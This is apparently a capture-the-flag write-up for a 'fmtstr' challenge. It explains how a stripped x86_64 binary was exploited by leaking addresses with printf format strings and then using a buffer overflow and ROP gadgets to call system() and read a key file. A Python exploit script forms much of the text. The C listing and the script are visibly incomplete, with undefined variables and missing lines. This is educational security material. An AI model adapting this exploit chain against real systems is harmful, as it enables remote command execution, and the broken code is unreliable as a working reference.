Score 4

This binary was an elf64 stripped for x86_64, the goal was to exploit and get a shell on the remote server.

The code was quite explicit. We have a buffer of 0x80c bytes and a variable on 4 bytes (an int) which was set to 0. The program has one loop: it checks that the variable is set to 0, then it reads on the standard input for 0x900 bytes and puts it in the buffer, then it checks if it has found the character ‘n’ in the string. If it has, it prints an error message and continues, else it does a printf of the buffer, flushes and continues.

Here is the equivalent C code:

void loop() {
    char[0x80c] buf;
    int fake_cannary = 0;

    while (!fake_can) {
        if (!fgets(buf, 0x900, stdin))
        if (strchr(buf, 'n'))
            puts("I don't think so...");

In this code, we have two obvious problems. The first one is the printf: we can leak the stack from this call, but we can’t use ‘%n’ to rewrite something. On the other hand we have a buffer overflow of almost 0x100 (256), that we can use to rewrite a good part of our stack to use ROP and then ret2Libc.

We need to exploit this binary to be able to leak information about known addresses that will allow us to have the information on the position of other functions and in a second stage we will need to rewrite our stack to execute the code we want.

For the first part we will use the call to printf, we will use ‘%llx’ to print 64 bits from the stack. To leak some precise part of our stack we can use the ‘$’ to have directly the arg we want.

So let’s do the first step, we can loop at what we have on the stack with our printf:

%261$llx | %262$llx | %263$llx | %264$llx | %265$llx | %266$llx | %267$llx | %268$llx | %269$llx | %270$llx
0 | 555555555130 | 55554c60 | 7fffffffe9e0 | 555555555127 | 0 | 7ffff7a4fa15 | 0  | 7fffffffeac8 | 100000000

When looking in gdb we can see :

$ x/i 0x7ffff7a4fa15
0x7ffff7a4fa15 <__libc_start_main+245>:      mov    %eax,%edi

When you look a little more you see that this address is the address of return from our main. So we have actually an address in the libc. So we can now have the address we want from the libc, by calculating the offset between the functions’ codes. We knew that the distant machine uses Ubuntu, so we checked the offset in a corresponding libc.

Now that we have one address in the libc we can try to call “system”. To do so, we need to have an address in memory that we know and where we can write the command to give to system. The simplest way to do that is probably to leak the address of our buffer. Since its address is given on the stack to the printf function, it should be at the beginning of our stack:


(gdb) x/s 0x7fffffffe1c0
0x7fffffffe1c0: "%4$llx\n"

So we now have all the information that we need to call system. The last problem we face is the calling convention in x86_64, which is like in ARM, through registers: rdi, rsi, rdx, rcx, r8, r9. So we needed a gadget to extract our arguments from the stack.

The first gadget we are interested in is in __libc_csu_init (0x11b8):

mov rbx, [rsp+0x08]
mov rbp, [rsp+0x10]
mov r12, [rsp+0x18]
mov r13, [rsp+0x20]
mov r14, [rsp+0x28]
mov r15, [rsp+0x30]
add rsp, 0x38

This gadget takes a lot of values from the stack and puts them in some registers. Now we need to move the values from this registers to the ones we are interest in, so we need an other gadget, and we can still find it in __libc_csu_init at 0x1180, just before the previous one:

    mov rdx, r15
    mov rsi, r14
    mov edi, r13d
    call qword ptr [r12 + rbx * 8]
    add rbx, 1
    cmp rbx, rbp
    jnz short loc_1180

So we now have something that looks good: we can take the values from our stack and put them in the registers we need. We just have one last problem: we move the value in edi, not in rdi and so the address of the buffer we will give to system will not be good and our call will not work.

So we need a last gadget to put the address of our buffer in rdi. We can find it at 0x1086:

mov rdi, rsi

Now we have all the gadgets we need we still have to find the address, for that we need to leak one address in our program. When we have leak before we see that at %262$llx we have 0x555555555130, so in gdb:

(gdb) x/i 0x555555555130
0x555555555130 <__libc_csu_init>:    mov    %rbp,-0x28(%rsp)

So we have a point in our binary from which we can calculate the offset for our gadgets.

So now we have all our exploit, here is the code we wrote:

import socket
import struct

HOST = ''
PORT = 5679

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

def _send(st, end=b''):
    if isinstance(st, str):
        st = bytes(st, 'utf-8')
    st += end
    print('Send:', repr(st))
    return s.send(st)

def _recv(l):
    if isinstance(l, str):
        l = len(l)
    r = s.recv(l)
    if r:
        print('Recv:', repr(r))
    return r

def _pack(i):
    return struct.pack('<Q', i)

def _unpack(b):
    return struct.unpack('<Q', b)[0]

# Offset between the return of the main and the begin of system


# Here we get the address of the return of our main in the libc
_send("%267$llx| \n")
t = str(_recv(1024))

ADDR_RETMAIN = int("0x" + (t.split("|"))[0][2:], 16)
# We calculate the address of the begin of system
print("Addr retmain: ", hex(ADDR_RETMAIN))
print("Addr system: ", hex(ADDR_SYSTEM))

# We leak the address of our buffer
t = str(_recv(1024))
ADDR_BUF = int("0x" + (t.split("|"))[0][2:], 16)
print("Addr buf: ", hex(ADDR_BUF))

# We leak the address of __libc_csu_init

t = str(_recv(1024))

ADDR_CSU_INIT = int("0x" + (t.split("|"))[0][2:], 16)
print ("Addr csu init: ", hex(ADDR_CSU_INIT))

# We compute the address for each gadget
ADDR_PIVO_ARG = ADDR_CSU_INIT + 0x66 # first gadget
ADDR_GADJ_CALL = ADDR_CSU_INIT + 0x50 # second gadget
ADDR_GADJ_RDI = ADDR_CSU_INIT - 170 # third gadget
ADDR_LOOP_PRINC = ADDR_CSU_INIT - 164 # the address of the loop

st = b"cat home/fmtstr/key \x00" # here is our command
si = len (st)
st += _pack(ADDR_GADJ_RDI) # we put the address in our buffer
st += b" " * (0x810 - len(st)) # padding for finishing the buffer
st += b"a" * 8
st += _pack(ADDR_PIVO_ARG) # we return here
st += _pack(0) # padding
st += _pack(0) # rbx
st += _pack(1) # for the counter (rbp)
st += _pack(ADDR_BUF + si) # addr to the addr to call (r12)
st += _pack(0) # first arg (r13) # we put nothing in here it's useless
st += _pack(ADDR_BUF) # second arg (r14) # it will be put in rsi and then in rdi for the call.
st += _pack(0) # third arg (r15)
st += _pack(ADDR_GADJ_CALL) # gadget call, the return from our first gadget
# here we are back from our second and third gadget, so rdi point on our buffer
st += _pack(1) # padding
st += _pack(2) # rbx
st += _pack(ADDR_BUF) # for the counter (rbp)
st += _pack(4) # addr to call (r12)
st += _pack(5) # first arg (r13)
st += _pack(6) # second arg (r14)
st += _pack(7) # third arg (r15)
st += _pack(ADDR_SYSTEM) # Here is our return
st += _pack(ADDR_LOOP_PRINC) # return to the main loop
st += _pack(ADDR_LOOP_PRINC) # return to the main loop
st += b"\n"
while len(_recv(1024)) == 1024:


Since we could execute any command with this exploit, we first had to find where the key file was and then we got it with cat home/fmtstr/key.

The vulnerability in this challenge was quite obvious but it was interesting to bypass some common protections while exploiting it.